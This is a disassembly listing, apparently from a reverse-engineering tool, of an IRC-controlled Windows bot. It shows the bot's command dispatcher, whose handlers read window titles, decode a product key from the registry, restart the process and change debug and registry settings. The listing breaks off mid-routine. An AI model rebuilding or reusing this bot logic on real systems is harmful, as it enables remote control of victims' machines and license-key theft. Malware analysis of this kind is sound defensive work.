XREF: sub_40495C+27p ; sub_407A76+EDCp ... var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_18] xor ebx, ebx movsd movsw movsb mov esi, [ebp+arg_0] mov [ebp+var_4], ebx mov [ebp+var_8], ebx cmp byte ptr [esi], 30h jnz short loc_4079E2 mov al, [esi+1] push 1 cmp al, 78h pop ebx jz short loc_4079DF cmp al, 58h jnz short loc_4079E2 loc_4079DF: ; CODE XREF: sub_4079AC+2Dj push 2 pop ebx loc_4079E2: ; CODE XREF: sub_4079AC+23j ; sub_4079AC+31j push esi call sub_4114BE ; strlen mov edi, eax pop ecx cmp ebx, edi mov [ebp+var_10], edi mov [ebp+arg_0], ebx jge short loc_407A6A sub edi, ebx dec edi loc_4079F8: ; CODE XREF: sub_4079AC+BCj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+esi] push eax call sub_411784 ; tolower cmp eax, 30h pop ecx mov [ebp+var_C], eax jl short loc_407A1B cmp eax, 39h jg short loc_407A1B add eax, 0FFFFFFD0h mov [ebp+var_4], eax jmp short loc_407A4D ; --------------------------------------------------------------------------- loc_407A1B: ; CODE XREF: sub_4079AC+60j ; sub_4079AC+65j cmp eax, 61h jl short loc_407A72 cmp eax, 66h jg short loc_407A72 mov dl, [ebp+var_18] test dl, dl jz short loc_407A4D push 0Ah lea eax, [ebp+var_18] pop ebx lea ecx, [ebp+var_18] sub ebx, eax loc_407A37: ; CODE XREF: sub_4079AC+9Fj movsx eax, dl cmp [ebp+var_C], eax jnz short loc_407A45 lea eax, [ebx+ecx] mov [ebp+var_4], eax loc_407A45: ; CODE XREF: sub_4079AC+91j mov dl, [ecx+1] inc ecx test dl, dl jnz short loc_407A37 loc_407A4D: ; CODE XREF: sub_4079AC+6Dj ; sub_4079AC+7Ej push edi push 10h call sub_407994 imul eax, [ebp+var_4] add [ebp+var_8], eax inc [ebp+arg_0] mov eax, [ebp+arg_0] pop ecx dec edi cmp eax, [ebp+var_10] pop ecx jl short loc_4079F8 loc_407A6A: ; CODE XREF: sub_4079AC+47j mov eax, [ebp+var_8] loc_407A6D: ; CODE XREF: sub_4079AC+C8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407A72: ; CODE XREF: sub_4079AC+72j ; sub_4079AC+77j xor eax, eax jmp short loc_407A6D sub_4079AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A76 proc near ; CODE XREF: sub_409918+911p var_59E4 = byte ptr -59E4h var_19E4 = byte ptr -19E4h var_9E4 = byte ptr -9E4h var_5E0 = byte ptr -5E0h var_560 = byte ptr -560h var_3E3 = byte ptr -3E3h var_3E0 = byte ptr -3E0h var_364 = byte ptr -364h var_328 = byte ptr -328h var_2F4 = byte ptr -2F4h var_260 = byte ptr -260h var_22C = byte ptr -22Ch var_228 = byte ptr -228h var_208 = byte ptr -208h var_1E7 = byte ptr -1E7h var_E7 = dword ptr -0E7h var_E3 = byte ptr -0E3h var_7D = byte ptr -7Dh var_6F = byte ptr -6Fh var_6C = byte ptr -6Ch var_69 = dword ptr -69h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5B = byte ptr -5Bh var_56 = byte ptr -56h var_51 = byte ptr -51h var_4C = byte ptr -4Ch var_47 = byte ptr -47h var_40 = byte ptr -40h var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_35 = byte ptr -35h var_34 = byte ptr -34h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_29 = byte ptr -29h var_28 = byte ptr -28h var_23 = byte ptr -23h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 59E4h call sub_411540 push ebx push esi mov esi, [ebp+arg_14] push edi push dword ptr [esi] call sub_40A64A push [ebp+arg_0] mov edi, eax lea eax, [ebp+var_208] push eax call sub_4114B8 ; _mbscpy push [ebp+arg_8] lea eax, [ebp+var_1E7] push eax call sub_4114B8 ; _mbscpy mov eax, [ebp+arg_C] push 7Ah push [ebp+arg_10] mov [ebp+var_E7], eax lea eax, [ebp+var_E3] push eax call sub_4114D0 ; memcpy add esp, 20h cmp edi, dword_414F20 push 1 pop eax mov [ebp+var_69], eax jnz short loc_407AEC lea eax, [ebp+var_208] push eax call sub_41094B jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407AEC: ; CODE XREF: sub_407A76+63j cmp edi, dword_414F14 jnz short loc_407B31 mov eax, [esi+4] test eax, eax jnz short loc_407B25 lea eax, [ebp+var_22C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_40] push eax call sub_404A70 add esp, 0Ch lea eax, [ebp+var_40] push eax loc_407B16: ; CODE XREF: sub_407A76+B9j push offset dword_414F0C loc_407B1B: ; CODE XREF: sub_407A76+A7Bj ; sub_407A76+BABj call sub_4097DB jmp loc_408D2E ; --------------------------------------------------------------------------- loc_407B25: ; CODE XREF: sub_407A76+83j push eax call sub_4098C7 pop ecx push dword ptr [esi+4] jmp short loc_407B16 ; --------------------------------------------------------------------------- loc_407B31: ; CODE XREF: sub_407A76+7Cj cmp edi, dword_414F00 jnz short loc_407B6B lea eax, [ebp+var_5E0] push 200h push eax call dword_4121F4 ; GetForegroundWindow push eax call dword_4121F0 ; GetWindowTextA test eax, eax jle loc_408D69 lea eax, [ebp+var_5E0] push eax push offset dword_414EE4 jmp loc_40835E ; --------------------------------------------------------------------------- loc_407B6B: ; CODE XREF: sub_407A76+C1j cmp edi, dword_414ED8 jnz short loc_407B8A push dword ptr [esi+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_4057ED jmp loc_40836A ; --------------------------------------------------------------------------- loc_407B8A: ; CODE XREF: sub_407A76+FBj cmp edi, dword_414ECC jnz loc_407C5E mov eax, [ebp+arg_18] xor ebx, ebx mov eax, [eax+4] cmp eax, ebx jz loc_408D69 push 180h push eax lea eax, [ebp+var_3E0] push eax call sub_4059C2 lea eax, [ebp+var_3E0] push eax call sub_4114BE ; strlen mov esi, eax add esp, 10h cmp esi, 3 jle short loc_407C04 lea edi, [ebp+esi+var_3E3] push offset dword_414EC8 push edi call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_407C04 lea eax, [ebp+var_3E0] mov [edi], bl push eax call sub_4058B8 lea eax, [ebp+var_3E0] push eax call sub_4114BE ; strlen pop ecx mov esi, eax pop ecx loc_407C04: ; CODE XREF: sub_407A76+156j ; sub_407A76+16Ej mov eax, esi push 4 cdq pop ecx idiv ecx mov ecx, esi sub ecx, eax cmp ecx, 180h ja loc_408D69 lea eax, [ebp+var_3E0] push esi push eax call sub_40A798 lea eax, [ebp+var_3E0] push esi push eax call sub_40A7C4 push eax lea eax, [ebp+var_560] push eax lea eax, [ebp+var_3E0] push eax call sub_40A51A add esp, 1Ch lea eax, [ebp+var_560] push eax push offset dword_414EA4 jmp loc_40835E ; --------------------------------------------------------------------------- loc_407C5E: ; CODE XREF: sub_407A76+11Aj cmp edi, dword_414E98 jnz loc_407CFC mov esi, [ebp+arg_18] xor ebx, ebx mov eax, [esi+4] cmp eax, ebx jz loc_408D69 cmp byte ptr [eax], 3Dh jnz loc_408D69 inc eax push eax call sub_40A5D0 test eax, eax pop ecx jz loc_408D69 mov eax, [esi+4] inc eax push eax call sub_4114BE ; strlen pop ecx mov ecx, eax push 4 cdq pop edi idiv edi sub ecx, eax cmp ecx, 180h ja loc_408D69 lea eax, [ebp+var_3E0] push eax mov eax, [esi+4] inc eax push eax call sub_40A44E push eax lea eax, [ebp+var_3E0] push eax call sub_40A82E mov esi, eax lea eax, [ebp+var_3E0] push esi push eax call sub_40A7AE add esp, 18h lea eax, [ebp+var_3E0] mov [ebp+esi+var_3E0], bl push eax push offset dword_414E78 jmp loc_40835E ; --------------------------------------------------------------------------- loc_407CFC: ; CODE XREF: sub_407A76+1EEj cmp edi, dword_414E68 jnz short loc_407D18 push dword ptr [esi+4] lea eax, [ebp+var_208] push eax call sub_404A33 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_407D18: ; CODE XREF: sub_407A76+28Cj cmp edi, dword_414E58 jnz short loc_407D31 lea eax, [ebp+var_208] push eax call sub_40491E jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407D31: ; CODE XREF: sub_407A76+2A8j cmp edi, dword_414E50 jnz loc_407EE1 push 0Ch mov esi, offset dword_414E1C pop ecx lea edi, [ebp+var_260] rep movsd movsb push 5 mov esi, offset dword_414E04 pop ecx lea edi, [ebp+var_18] rep movsd lea eax, [ebp+var_260] xor ebx, ebx push eax mov [ebp+arg_18], ebx mov [ebp+arg_8], 0C8h movsb call sub_40B5E1 pop ecx lea eax, [ebp+arg_18] push eax push 20019h lea eax, [ebp+var_260] push ebx push eax push 80000002h call dword_412000 ; RegOpenKeyExA test eax, eax lea eax, [ebp+var_260] push eax jnz short loc_407DCE call sub_40B5A8 lea eax, [ebp+var_18] push eax call sub_40B5E1 pop ecx lea eax, [ebp+arg_8] pop ecx push eax lea eax, [ebp+var_328] push eax push ebx lea eax, [ebp+var_18] push ebx push eax push [ebp+arg_18] call dword_41200C ; RegQueryValueExA test eax, eax lea eax, [ebp+var_18] push eax jz short loc_407DEB loc_407DCE: ; CODE XREF: sub_407A76+324j call sub_40B5A8 cmp [ebp+arg_18], ebx pop ecx jz loc_408D69 push [ebp+arg_18] call dword_412028 ; RegCloseKey jmp loc_408D69 ; --------------------------------------------------------------------------- loc_407DEB: ; CODE XREF: sub_407A76+356j call sub_40B5A8 pop ecx push [ebp+arg_18] call dword_412028 ; RegCloseKey push 7 mov esi, offset dword_414DE4 pop ecx lea edi, [ebp+var_228] rep movsd lea eax, [ebp+var_228] push eax movsb call sub_40B5E1 pop ecx mov [ebp+var_47], bl mov [ebp+arg_0], 18h loc_407E22: ; CODE XREF: sub_407A76+3F0j xor edx, edx mov [ebp+arg_14], 0Eh loc_407E2B: ; CODE XREF: sub_407A76+3DDj mov eax, [ebp+arg_14] mov ecx, edx shl ecx, 8 lea esi, [ebp+eax+var_2F4] push 18h pop edi movzx eax, byte ptr [esi] add ecx, eax push edi mov eax, ecx cdq idiv edi mov [esi], al mov eax, ecx cdq pop ecx idiv ecx dec [ebp+arg_14] jns short loc_407E2B mov ecx, [ebp+arg_0] mov al, [ebp+edx+var_228] dec [ebp+arg_0] mov [ebp+ecx+var_60], al jns short loc_407E22 lea eax, [ebp+var_228] push eax call sub_40B5A8 push 5 lea eax, [ebp+var_60] pop esi mov [ebp+var_23], bl push esi push eax lea eax, [ebp+var_40] mov [ebp+var_29], 2Dh push eax mov [ebp+var_2F], 2Dh mov [ebp+var_35], 2Dh mov [ebp+var_3B], 2Dh call sub_4114D0 ; memcpy lea eax, [ebp+var_5B] push esi push eax lea eax, [ebp+var_3A] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_56] push esi push eax lea eax, [ebp+var_34] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_51] push esi push eax lea eax, [ebp+var_2E] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_4C] push esi push eax lea eax, [ebp+var_28] push eax call sub_4114D0 ; memcpy add esp, 40h lea eax, [ebp+var_40] push eax push offset dword_413B6C jmp loc_40835E ; --------------------------------------------------------------------------- loc_407EE1: ; CODE XREF: sub_407A76+2C1j cmp edi, dword_414DD4 jnz short loc_407F31 xor ebx, ebx mov [ebp+var_6C], 1 cmp [ebp+var_7D], bl jz short loc_407F05 lea eax, [ebp+var_208] push eax call sub_40DE4C jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407F05: ; CODE XREF: sub_407A76+47Cj cmp [ebp+var_6F], bl lea eax, [ebp+var_208] push eax jz short loc_407F1B call sub_40E243 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407F1B: ; CODE XREF: sub_407A76+499j call sub_40DE4C lea eax, [ebp+var_208] push eax call sub_40E243 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_407F31: ; CODE XREF: sub_407A76+471j cmp edi, dword_414DC4 jnz short loc_407F4A lea eax, [ebp+var_208] push eax call sub_4101AE jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407F4A: ; CODE XREF: sub_407A76+4C1j cmp edi, dword_414DB8 jnz loc_407FDA push 8 mov esi, offset dword_414D94 pop ecx lea edi, [ebp+var_40] rep movsd movsb mov edx, off_418E20 mov esi, offset dword_414D8C lea edi, [ebp+var_C] xor eax, eax movsd movsw mov cl, [ebp+var_C] mov edi, offset dword_414D80 cmp cl, [edx] setz al xor ebx, ebx cmp eax, ebx jnz short loc_407F8F mov edi, offset dword_414D70 loc_407F8F: ; CODE XREF: sub_407A76+512j cmp eax, ebx mov esi, offset aThisBuildIsFul ; "This build is fully functional" jnz short loc_407F9D mov esi, offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_407F9D: ; CODE XREF: sub_407A76+520j lea eax, [ebp+var_40] push eax call sub_40B5E1 mov eax, dword_419FD0 pop ecx push esi and eax, 0FFFFh push edi push eax movzx eax, byte ptr dword_418E00 push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_208] push eax call sub_4096CB lea eax, [ebp+var_40] push eax call sub_40B5A8 jmp loc_40898E ; --------------------------------------------------------------------------- loc_407FDA: ; CODE XREF: sub_407A76+4DAj cmp edi, dword_414D10 jnz short loc_408002 push dword ptr [esi+14h] lea eax, [ebp+var_208] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_4044AA jmp loc_408235 ; --------------------------------------------------------------------------- loc_408002: ; CODE XREF: sub_407A76+56Aj cmp edi, dword_414D04 jnz short loc_408026 mov eax, [ebp+arg_18] add esi, 4 add eax, 4 push eax lea eax, [ebp+var_208] push esi push eax call sub_4111DB jmp loc_40836A ; --------------------------------------------------------------------------- loc_408026: ; CODE XREF: sub_407A76+592j cmp edi, dword_414CF8 jz loc_408D5D cmp edi, dword_414CEC jz loc_408D5D cmp edi, dword_414CDC jnz short loc_40805D push dword ptr [esi+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_4027CB jmp loc_40836A ; --------------------------------------------------------------------------- loc_40805D: ; CODE XREF: sub_407A76+5CEj cmp edi, dword_414CD0 jnz short loc_40807F mov eax, [ebp+arg_18] push dword ptr [eax+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_401FA3 jmp loc_40836A ; --------------------------------------------------------------------------- loc_40807F: ; CODE XREF: sub_407A76+5EDj cmp edi, dword_414CC0 jnz short loc_4080A1 push dword ptr [esi+0Ch] lea eax, [ebp+var_208] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40495C jmp loc_408A9C ; --------------------------------------------------------------------------- loc_4080A1: ; CODE XREF: sub_407A76+60Fj cmp edi, dword_414CB0 jnz short loc_4080C3 mov eax, [ebp+arg_18] push dword ptr [eax+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_4110B4 jmp loc_40836A ; --------------------------------------------------------------------------- loc_4080C3: ; CODE XREF: sub_407A76+631j cmp edi, dword_414CA0 jnz short loc_4080F6 mov esi, [ebp+arg_18] mov eax, [esi+4] test eax, eax jz loc_408D69 push eax push 80000001h call sub_401000 push dword ptr [esi+4] push 80000002h call sub_401000 jmp loc_408A9C ; --------------------------------------------------------------------------- loc_4080F6: ; CODE XREF: sub_407A76+653j cmp edi, dword_414C90 jnz short loc_40810E mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40110A jmp loc_408D68 ; --------------------------------------------------------------------------- loc_40810E: ; CODE XREF: sub_407A76+686j cmp edi, dword_414C84 jnz short loc_40812F push 0 loc_408118: ; CODE XREF: sub_407A76+6C2j mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_4014B0 jmp loc_40836A ; --------------------------------------------------------------------------- loc_40812F: ; CODE XREF: sub_407A76+69Ej cmp edi, dword_414C78 jnz short loc_40813A push eax jmp short loc_408118 ; --------------------------------------------------------------------------- loc_40813A: ; CODE XREF: sub_407A76+6BFj cmp edi, dword_414C6C jnz short loc_408153 lea eax, [ebp+var_208] push eax call sub_40719C jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408153: ; CODE XREF: sub_407A76+6CAj cmp edi, dword_414C64 jnz short loc_40816A push offset dword_41A2E8 push offset dword_414C54 jmp loc_40835E ; --------------------------------------------------------------------------- loc_40816A: ; CODE XREF: sub_407A76+6E3j cmp edi, dword_414C48 jnz short loc_408189 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_40F6CD jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408189: ; CODE XREF: sub_407A76+6FAj cmp edi, dword_414C3C jz loc_408D3D cmp edi, dword_414C30 jz loc_408D3D cmp edi, dword_414C24 jz loc_408D3D cmp edi, dword_414C14 jnz short loc_4081C6 lea eax, [ebp+var_208] push eax call sub_40F7FD jmp loc_408D68 ; --------------------------------------------------------------------------- loc_4081C6: ; CODE XREF: sub_407A76+73Dj cmp edi, dword_414C00 jnz short loc_408212 mov esi, [ebp+arg_18] mov eax, [esi+4] test eax, eax jz short loc_4081FE push eax call sub_41115C test eax, eax pop ecx jz loc_408D69 push 104h push dword ptr [esi+4] push offset dword_419FE0 call sub_4059C2 jmp loc_40836A ; --------------------------------------------------------------------------- loc_4081FE: ; CODE XREF: sub_407A76+760j push offset dword_419ECC push offset dword_419FE0 loc_408208: ; CODE XREF: sub_407A76+902j ; sub_407A76+112Aj call sub_4114B8 ; _mbscpy jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408212: ; CODE XREF: sub_407A76+756j cmp edi, dword_414BF0 jnz short loc_40823D push dword ptr [esi+14h] lea eax, [ebp+var_208] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40FBA7 loc_408235: ; CODE XREF: sub_407A76+587j ; sub_407A76+12E2j add esp, 18h jmp loc_408D69 ; --------------------------------------------------------------------------- loc_40823D: ; CODE XREF: sub_407A76+7A2j cmp edi, dword_414BE8 jnz loc_4082EA mov esi, [ebp+arg_18] xor ebx, ebx mov eax, [esi+4] cmp eax, ebx jz loc_408D69 push eax call sub_4114BE ; strlen shl eax, 1 push eax call sub_4114C4 ; malloc mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_408D69 push dword ptr [esi+4] call sub_4114BE ; strlen push eax push edi push dword ptr [esi+4] call sub_40A51A add esp, 10h lea eax, [ebp+var_208] push edi push offset dword_414BCC push eax call sub_4096CB push edi call sub_4114CA ; free mov esi, 1000h lea eax, [ebp+var_19E4] push esi push eax call sub_40B4D9 add esp, 18h call sub_4114E2 ; clock mov ebx, eax mov edi, 186A0h loc_4082C1: ; CODE XREF: sub_407A76+863j lea eax, [ebp+var_59E4] push esi push eax lea eax, [ebp+var_19E4] push eax call sub_40A51A add esp, 0Ch dec edi jnz short loc_4082C1 call sub_4114E2 ; clock sub eax, ebx push eax push offset aItTookMeUms_ ; "It took me %ums." jmp short loc_40835E ; --------------------------------------------------------------------------- loc_4082EA: ; CODE XREF: sub_407A76+7CDj cmp edi, dword_414BAC jnz short loc_408345 mov edi, [ebp+arg_18] xor ebx, ebx mov eax, [edi+4] cmp eax, ebx jz loc_408D69 push eax call sub_4114BE ; strlen push eax call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_408D69 push esi push dword ptr [edi+4] call sub_40A44E pop ecx mov [eax+esi], bl pop ecx lea eax, [ebp+var_208] push esi push offset dword_414B90 push eax call sub_4096CB push esi call sub_4114CA ; free jmp loc_408A9C ; --------------------------------------------------------------------------- loc_408345: ; CODE XREF: sub_407A76+87Aj cmp edi, dword_414B80 jnz short loc_40837D mov esi, [esi+4] test esi, esi jnz short loc_408372 push offset dword_41A2E8 push offset dword_414B6C loc_40835E: ; CODE XREF: sub_407A76+F0j ; sub_407A76+1E3j ... lea eax, [ebp+var_208] push eax call sub_4096CB loc_40836A: ; CODE XREF: sub_407A76+10Fj ; sub_407A76+5ABj ... add esp, 0Ch jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408372: ; CODE XREF: sub_407A76+8DCj push esi push offset dword_41A2E8 jmp loc_408208 ; --------------------------------------------------------------------------- loc_40837D: ; CODE XREF: sub_407A76+8D5j cmp edi, dword_414B60 jnz short loc_408392 push dword ptr [esi+4] call sub_406EA9 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408392: ; CODE XREF: sub_407A76+90Dj cmp edi, dword_414B54 jnz short loc_4083AE push dword ptr [esi+4] lea eax, [ebp+var_208] push eax call sub_4030A7 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_4083AE: ; CODE XREF: sub_407A76+922j cmp edi, dword_414B44 jnz short loc_4083C3 push dword ptr [esi+4] call sub_406F84 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_4083C3: ; CODE XREF: sub_407A76+93Ej cmp edi, dword_414B38 jnz short loc_4083E2 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_404ACF jmp loc_408D2E ; --------------------------------------------------------------------------- loc_4083E2: ; CODE XREF: sub_407A76+953j cmp edi, dword_414B28 jnz short loc_4083FE push dword ptr [esi+4] lea eax, [ebp+var_208] push eax call sub_40EA2F jmp loc_408D2E ; --------------------------------------------------------------------------- loc_4083FE: ; CODE XREF: sub_407A76+972j cmp edi, dword_414B1C jnz short loc_408423 push dword ptr [esi+10h] lea eax, [ebp+var_208] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40756C jmp loc_408CFA ; --------------------------------------------------------------------------- loc_408423: ; CODE XREF: sub_407A76+98Ej cmp edi, dword_414B10 jnz short loc_408442 push dword ptr [esi+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_40780C jmp loc_40836A ; --------------------------------------------------------------------------- loc_408442: ; CODE XREF: sub_407A76+9B3j cmp edi, dword_414B04 jnz short loc_408465 push offset dword_419ECC push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_4097DB pop ecx pop ecx push 36EE80h jmp loc_40851C ; --------------------------------------------------------------------------- loc_408465: ; CODE XREF: sub_407A76+9D2j cmp edi, dword_414AE4 jnz short loc_4084B3 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 mov edi, offset dword_418E50 push eax push edi call sub_4114B8 ; _mbscpy mov esi, [esi+8] pop ecx cmp esi, ebx pop ecx jnz short loc_408494 mov esi, offset byte_4191D0 loc_408494: ; CODE XREF: sub_407A76+A17j push esi mov esi, offset dword_41A0E8 push esi call sub_4114B8 ; _mbscpy pop ecx pop ecx push esi push edi loc_4084A4: ; CODE XREF: sub_407A76+A60j push offset dword_414AD8 call sub_4097DB jmp loc_40836A ; --------------------------------------------------------------------------- loc_4084B3: ; CODE XREF: sub_407A76+9F5j cmp edi, dword_414ACC jnz short loc_4084D8 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 mov esi, [esi+8] cmp esi, ebx jnz short loc_4084D4 mov esi, offset byte_4191D0 loc_4084D4: ; CODE XREF: sub_407A76+A57j push esi push eax jmp short loc_4084A4 ; --------------------------------------------------------------------------- loc_4084D8: ; CODE XREF: sub_407A76+A43j cmp edi, dword_414AC0 jnz short loc_4084F6 mov esi, [esi+4] test esi, esi jz loc_408D69 push esi push offset dword_414AB8 jmp loc_407B1B ; --------------------------------------------------------------------------- loc_4084F6: ; CODE XREF: sub_407A76+A68j cmp edi, dword_414AAC jnz short loc_408527 mov esi, [esi+4] test esi, esi jz loc_408D69 push esi call sub_41151C ; atoi cmp eax, 927C0h pop ecx jg loc_408D69 push eax loc_40851C: ; CODE XREF: sub_407A76+9EAj call dword_4120A4 ; Sleep jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408527: ; CODE XREF: sub_407A76+A86j cmp edi, dword_414AA4 jnz short loc_408556 mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_408D69 mov eax, [ebp+arg_18] mov eax, [eax+8] cmp eax, ebx jz loc_408D69 push eax push esi call sub_409659 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408556: ; CODE XREF: sub_407A76+AB7j cmp edi, dword_414A98 jnz short loc_408585 mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_408D69 mov eax, [ebp+arg_18] mov eax, [eax+8] cmp eax, ebx jz loc_408D69 push eax push esi call sub_4095E7 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408585: ; CODE XREF: sub_407A76+AE6j cmp edi, dword_414A90 jnz short loc_4085A1 mov eax, [ebp+arg_18] mov eax, [eax+4] test eax, eax jz loc_408D69 push eax jmp loc_408D36 ; --------------------------------------------------------------------------- loc_4085A1: ; CODE XREF: sub_407A76+B15j cmp edi, dword_414A84 jnz short loc_4085EB mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jnz short loc_4085CF cmp dword_4191D8, ebx mov eax, offset aOn ; "on" jnz short loc_4085C4 mov eax, offset aOff ; "off" loc_4085C4: ; CODE XREF: sub_407A76+B47j push eax push offset aDebugModeIsS_ ; "Debug mode is %s." jmp loc_40835E ; --------------------------------------------------------------------------- loc_4085CF: ; CODE XREF: sub_407A76+B3Aj push offset aOn ; "on" push esi call sub_411924 ; _strcmpi neg eax sbb eax, eax pop ecx inc eax pop ecx mov dword_4191D8, eax jmp loc_408D69 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_407A76+B31j cmp edi, dword_414A58 jnz short loc_408604 lea eax, [ebp+var_208] push eax call sub_410B3B jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408604: ; CODE XREF: sub_407A76+B7Bj cmp edi, dword_414A4C jnz short loc_408626 cmp dword ptr [esi+4], 0 jz loc_408D69 mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_414A44 jmp loc_407B1B ; --------------------------------------------------------------------------- loc_408626: ; CODE XREF: sub_407A76+B94j cmp edi, dword_414A38 jz loc_408D31 cmp edi, dword_414A2C jz loc_408D31 cmp edi, dword_414A24 jz loc_408D31 cmp edi, dword_414A18 jnz short loc_40869F lea eax, [ebp+var_364] push 104h xor ebx, ebx push eax push ebx call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA push ebx push ebx lea eax, [ebp+var_364] push ebx push eax push offset aOpen ; "open" push ebx call dword_4121E4 cmp eax, 20h jbe loc_408D69 push offset aQuitRestarting ; "QUIT :restarting" call sub_4097DB pop ecx push ebx call dword_412064 ; ExitProcess loc_40869F: ; CODE XREF: sub_407A76+BDAj cmp edi, dword_414A0C jnz short loc_4086CD mov esi, [esi+4] test esi, esi jz loc_408D69 movzx eax, byte ptr [esi] push eax push eax push offset dword_4149DC loc_4086BC: ; CODE XREF: sub_407A76+E32j lea eax, [ebp+var_208] push eax call sub_4096CB jmp loc_408A9C ; --------------------------------------------------------------------------- loc_4086CD: ; CODE XREF: sub_407A76+C2Fj cmp edi, dword_4149CC jnz short loc_4086DF call sub_4052DF jmp loc_408D69 ; --------------------------------------------------------------------------- loc_4086DF: ; CODE XREF: sub_407A76+C5Dj cmp edi, dword_4149C4 jz loc_408D1C cmp edi, dword_4149B8 jz loc_408D1C cmp edi, dword_4149B0 jnz short loc_408716 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_409149 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_408716: ; CODE XREF: sub_407A76+C87j cmp edi, dword_4149A4 jz loc_408CFF cmp edi, dword_414994 jz loc_408CFF cmp edi, dword_41498C jnz loc_40883A xor ebx, ebx cmp [esi+4], ebx jnz short loc_408748 mov dword ptr [esi+4], offset byte_4191D0 loc_408748: ; CODE XREF: sub_407A76+CC9j lea eax, [ebp+arg_14] push eax push ebx push ebx push dword ptr [esi+4] call dword_419224 ; getaddrinfo test eax, eax jnz loc_4088B3 mov eax, [ebp+arg_14] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40882C mov edi, 3E8h loc_408772: ; CODE XREF: sub_407A76+DB0j push 2 push ebx push ebx lea eax, [ebp+var_9E4] push 401h push eax mov eax, [ebp+arg_18] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_419228 ; getnameinfo test eax, eax jnz loc_40881B mov eax, [ebp+arg_18] mov ecx, [eax+4] cmp ecx, 2 jnz short loc_4087CE mov eax, [esi+4] cmp [eax], bl jnz short loc_4087B0 mov eax, offset dword_414988 loc_4087B0: ; CODE XREF: sub_407A76+D33j lea ecx, [ebp+var_9E4] push ecx push eax push offset dword_414964 loc_4087BD: ; CODE XREF: sub_407A76+D76j lea eax, [ebp+var_208] push eax call sub_4096CB add esp, 10h jmp short loc_408814 ; --------------------------------------------------------------------------- loc_4087CE: ; CODE XREF: sub_407A76+D2Cj mov eax, [esi+4] cmp ecx, 17h jnz short loc_4087EE cmp [eax], bl jnz short loc_4087DF mov eax, offset dword_414988 loc_4087DF: ; CODE XREF: sub_407A76+D62j lea ecx, [ebp+var_9E4] push ecx push eax push offset dword_414940 jmp short loc_4087BD ; --------------------------------------------------------------------------- loc_4087EE: ; CODE XREF: sub_407A76+D5Ej cmp [eax], bl 